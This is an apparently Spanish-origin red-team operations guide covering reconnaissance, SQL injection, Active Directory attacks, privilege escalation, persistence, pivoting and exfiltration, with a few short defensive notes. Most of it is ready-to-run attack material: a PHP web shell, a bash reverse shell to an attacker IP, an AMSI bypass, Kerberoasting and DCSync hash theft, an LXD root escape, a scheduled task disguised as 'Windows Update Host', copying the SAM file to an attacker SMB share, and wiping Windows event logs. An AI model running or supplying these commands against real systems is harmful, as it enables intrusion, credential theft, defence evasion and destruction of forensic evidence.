Tactical Guide to Offensive Operations
Red Team methodologies, from active discovery and initial exploitation to Active Directory enumeration and post-exploitation.
This technical guide compiles the methodological procedures and advanced commands applied by Red Team operators during adversary simulations. Each section includes its defensive counterpart (Purple Team Vision) to audit and mitigate the described threats.
1. Reconnaissance and Discovery (Discovery - TA0046)
Sección titulada «1. Reconocimiento y Descubrimiento (Discovery - TA0046)»The active scanning phase (T1595) allows for the controlled mapping of the target's exposed surface.
A. Initial Port Discovery (TCP SYN Scan)
Sección titulada «A. Descubrimiento de Puertos Inicial (TCP SYN Scan)»The objective is to trace and identify open logical ports at the highest possible speed:
nmap -p- --open -sS --min-rate 5000 -n -Pn -v 172.16.20.50 -oG /opt/pentest/allPorts.txt--open: Filters the output, showing only ports with a listening socket.-sS: TCP SYN scan (Stealth). Drastically accelerates the response rate by not completing the TCP three-way handshake.--min-rate 5000: Imposes a minimum sending rate of 5000 packets per second.
B. Targeted Vulnerability Analysis
Sección titulada «B. Análisis de Vulnerabilidades Dirigido»With the identified ports (e.g., 80, 135, 445, 5985), we surgically launch version probes and the NSE script engine:
nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery -p 80,135,445,5985 172.16.20.50 -oA /opt/pentest/detailed_scan[!NOTE] 🛡️ Purple Team Vision (Defense and Detection):
- Network Detection: Modern firewalls and IDS (such as Suricata) will alert on any high-speed TCP SYN pattern. NSE scripts (such as
vulners) use default User-Agent headers detectable via static signatures in the proxy.- Mitigation: Configure aggressive rate limiting and enable automated blocking rules at the corporate gateway.
C. Web Application Firewall (WAF) Mapping
Sección titulada «C. Mapeo de Web Application Firewalls (WAF)»Before interacting intrusively with the HTTP server, it is imperative to identify the presence of perimeter protections to avoid immediate automated blocks:
wafw00f http://172.16.20.50D. Selective Web Directory Fuzzing (ffuf)
Sección titulada «D. Fuzzing Selectivo de Directorios Web (Ffuf)»To avoid log saturation from 404 error code requests, we employ rigorous conditional filtering by size and words:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.16.20.50/FUZZ -e .php,.txt,.bak -c -t 100 -fc 404,403-fc 404,403: Filters denied or not found responses from the console display.-e .php,.txt,.bak: Sequentially concatenates these extensions to each word in the dictionary.
E. Infrastructure Service Enumeration (SMB and WinRM)
Sección titulada «E. Enumeración de Servicios de Infraestructura (SMB y WinRM)»Identification of anonymous access (Null Sessions) and remote control interfaces:
# Validar recursos compartidos SMB expuestos sin credencialesnxc smb 172.16.20.50 -u '' -p '' --shares
# Extracción profunda de políticas de contraseñas locales y usuariosenum4linux-ng -A 172.16.20.50
# Conexión interactiva a través del canal de red RPCrpcclient -U "" -N 172.16.20.502. Initial Access and Execution (TA0001 / TA0002)
Sección titulada «2. Acceso Inicial y Ejecución (TA0001 / TA0002)»A. Targeted Exploitation of POST Parameters (SQLmap)
Sección titulada «A. Explotación Dirigida de Parámetros POST (SQLmap)»If SQL injection is suspected, it is vital to avoid network signature noise. We intercept the request with BurpSuite, save it to /opt/pentest/post.txt, and force the use of random user agents:
sqlmap -r /opt/pentest/post.txt -p username --random-agent --force-ssl --risk=3 --level=5 --tamper=space2comment,charencode--random-agent: Modifies the default User-Agent to simulate real web browsers.--tamper: Loads payload obfuscation modules (such asspace2comment, which replaces spaces with comments/**/to evade basic WAFs).
To spawn an interactive shell on servers where the database engine runs with high privileges (sa or DBA):
sqlmap -r /opt/pentest/post.txt -p username --os-shellB. Deployment of Web Shells and Obfuscated Reverse Shells
Sección titulada «B. Despliegue de Web Shells y Reverse Shells Ofuscadas»Once insecure file upload is detected, we inject shells using HTTP POST methods to prevent payloads from being logged in plain text in the server log (access.log):
<?php $c=$_REQUEST['x']; passthru($c); ?>To force the victim host to return an interactive reverse connection in a single line:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.50.200/4444 0>&1'"); ?>C. Terminal (TTY) Stabilization Flow in Linux
Sección titulada «C. Flujo de Estabilización de Terminales (TTY) en Linux»Obtaining a dumb interactive terminal via netcat lacks support for console shortcuts (Ctrl+C, autocompletion). We apply hot stabilization using PTY pseudo-terminals:
# 1. Dentro de la reverse shell de la víctima, invocar bash a través de Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Pausar la shell temporalmente en segundo plano# Presionar Ctrl + Z en tu teclado
# 3. Configurar la terminal local en crudo y recuperar el procesostty raw -echo; fg
# 4. Ajustar el entorno interactivoexport TERM=xtermexport SHELL=bashstty rows 40 columns 1203. Enumeration and Attacks against Active Directory (TA0006)
Sección titulada «3. Enumeración y Ataques a Active Directory (TA0006)»Active Directory stores the identity infrastructure. The offensive objective lies in abusing delegations and the Kerberos protocol.
A. Comprehensive Domain Mapping with BloodHound
Sección titulada «A. Mapeo Integral del Dominio con BloodHound»Bulk loading of policies, trust relationships, group membership, and ACL access from Linux using a user with minimum privileges:
bloodhound-python -u 'usuario.demo' -p 'ClaveCompleja123!' -ns 172.16.20.10 -d portelcore.local -c AllB. Kerberos Attack: AS-REP Roasting (T1558.004)
Sección titulada «B. Ataque Kerberos: AS-REP Roasting (T1558.004)»Targeted attack against domain accounts configured without the Kerberos pre-authentication requirement enabled. We can request their TGT tickets and crack them offline:
# Solicitar y exportar los hashes TGT en formato compatible con HashcatGetNPUsers.py portelcore.local/ -usersfile /opt/pentest/users.txt -format hashcat -outputfile /opt/pentest/asrep_hashes.txt -dc-ip 172.16.20.10To force an offline brute-force crack:
hashcat -m 18200 -a 0 /opt/pentest/asrep_hashes.txt /usr/share/wordlists/rockyou.txt --forceC. Kerberos Attack: Kerberoasting (T1558.003)
Sección titulada «C. Ataque Kerberos: Kerberoasting (T1558.003)»Any authenticated user in the domain can request a service ticket (TGS) for any account that has a registered Service Principal Name (SPN). The tickets travel encrypted with the service account's hash:
# Extraer tickets TGS remotamenteGetUserSPNs.py portelcore.local/usuario.demo:ClaveCompleja123! -request -dc-ip 172.16.20.10 -outputfile /opt/pentest/kerberoast_hashes.txtTo crack the keys using GPU acceleration:
hashcat -m 13100 -a 0 /opt/pentest/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txtD. DCSync Replication (T1003.006)
Sección titulada «D. Replicación DCSync (T1003.006)»If sufficient database replication privileges are obtained over the domain (Domain Admin or DCSync permissions), we simulate being a secondary Domain Controller to request the cluster's plain-text hashes (including the critical key krbtgt):
secretsdump.py portelcore.local/Administrador:PasswordComplejo@172.16.20.10 -just-dc-user krbtgt4. Privilege Escalation (Privilege Escalation - TA0004)
Sección titulada «4. Escalada de Privilegios (Privilege Escalation - TA0004)»A. Linux: LXC/LXD Container Escape (T1611)
Sección titulada «A. Linux: Escape de Contenedores LXC/LXD (T1611)»If the compromised system user belongs to the local container control group lxd or lxc, root privileges can be derived by mounting the host root drive into a container with security exclusions disabled:
# 1. Crear un contenedor deshabilitando los aislamientos de seguridad del kernellxc init myimage pwn -c security.privileged=true
# 2. Añadir y montar el disco raíz del host dentro de la ruta mnt del contenedorlxc config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
# 3. Inicializar el contenedor y acceder a su terminal interactivalxc start pwnlxc exec pwn /bin/sh
# 4. Cambiar el directorio raíz aparente a la unidad del host montadacd /mnt/rootchroot .# ¡Boom! Acceso como Root absoluto de la máquina víctima consolidado.B. Windows: Token Abuse (SeImpersonatePrivilege)
Sección titulada «B. Windows: Abuso de Tokens (SeImpersonatePrivilege)»If the compromised account (such as IIS service accounts) has the impersonation privilege active, we use tools to abuse RPC/COM network calls and derive the SYSTEM token:
PrintSpoofer64.exe -i -c cmd.exe5. Defense Evasion and Persistence (TA0005 / TA0003)
Sección titulada «5. Evasión de Defensas y Persistencia (TA0005 / TA0003)»A. Temporary AMSI Deactivation in PowerShell
Sección titulada «A. Desactivación Temporal de AMSI en PowerShell»AMSI evaluates PowerShell code in memory before processing. We can deactivate the validator by forcing a failed initialization state in the hot session:
$a=[Ref].Assembly.GetTypes();foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');foreach($e in $d) {if ($e.Name -like "*FailedInit*") {$f=$e}};$f.SetValue($null,$true)B. Persistence via Scheduled Tasks in Windows
Sección titulada «B. Persistencia por Tareas Programadas en Windows»Injection of persistent binaries into system boot under maximum privileges:
schtasks /create /sc onlogon /tn "Windows Update Host" /tr "C:\Windows\Temp\malware.exe" /ru SYSTEM6. Lateral Movement and Pivoting (TA0008 / TA0011)
Sección titulada «6. Movimiento Lateral y Pivoting (TA0008 / TA0011)»A. Chisel: TCP Tunneling over HTTP Channels
Sección titulada «A. Chisel: Tunelización TCP sobre Canales HTTP»When the compromised machine acts as a bridge between the Internet (DMZ) and a private internal subnet.
graph LR Kali["Kali Atacante (172.16.50.200)"] <-->|Chisel Puerto 8000| Victim["Víctima DMZ (172.16.20.50)"] Victim <-->|Proxy SOCKS5| Target["Red Interna Privada"]- On our attacking machine (Listening Server):
Ventana de terminal chisel server -p 8000 --reverse - On the compromised jump host (Client):
Ventana de terminal ./chisel client 172.16.50.200:8000 R:socks - Launch attacks on the internal network from Kali via Proxychains:
Add the
socks5 127.0.0.1 1080directive to the end of the/etc/proxychains4.conffile and precede any command:Ventana de terminal proxychains nmap -sT -Pn -p445 172.16.20.10
B. Remote Desktop with Password Hash (Pass-The-Hash RDP)
Sección titulada «B. Escritorio Remoto con Hash de Contraseña (Pass-The-Hash RDP)»If we have the NTLM hash obtained from the identity database, we do not need to brute-force the password to connect graphically:
xfreerdp /u:Administrador /pth:7F0A6B29C... /v:172.16.20.107. Post-Exploitation, Exfiltration and OPSEC (TA0010)
Sección titulada «7. Post-Explotación, Exfiltración y OPSEC (TA0010)»A. Temporary Sharing of Offensive Resources (SMB Server)
Sección titulada «A. Compartición Temporal de Recursos Ofensivos (SMB Server)»To prevent web download requests for offensive utilities from triggering proxy alerts, we set up a legitimate SMB server on our attacker machine:
# Inicializar el servidor SMB falso en la carpeta de trabajoimpacket-smbserver share $(pwd) -smb2support# Descargar o exfiltrar archivos de forma nativa desde la consola de Windowscopy C:\SAM_backup.save \\172.16.50.200\share\SAM_backup.saveB. OPSEC: Full Log Clearing (Maximum Alert)
Sección titulada «B. OPSEC: Borrado Completo de Bitácoras (Alerta Máxima)»Saturate or clear the operating system event logs to hinder subsequent forensic analysis (Highly noisy step in production!):
# Borrado absoluto de logs en Windows mediante wevtutilwevtutil cl Systemwevtutil cl Applicationwevtutil cl Security[!WARNING] 🛡️ Purple Team Vision (Critical Detection): The action of clearing web logs or Windows logs is the most visible indicator of compromise within the defensive suite. It will immediately trigger the injection of Event ID 1102 (The audit log was cleared) into the corporate SIEM. This alert must be configured in the SOC with the highest response priority.

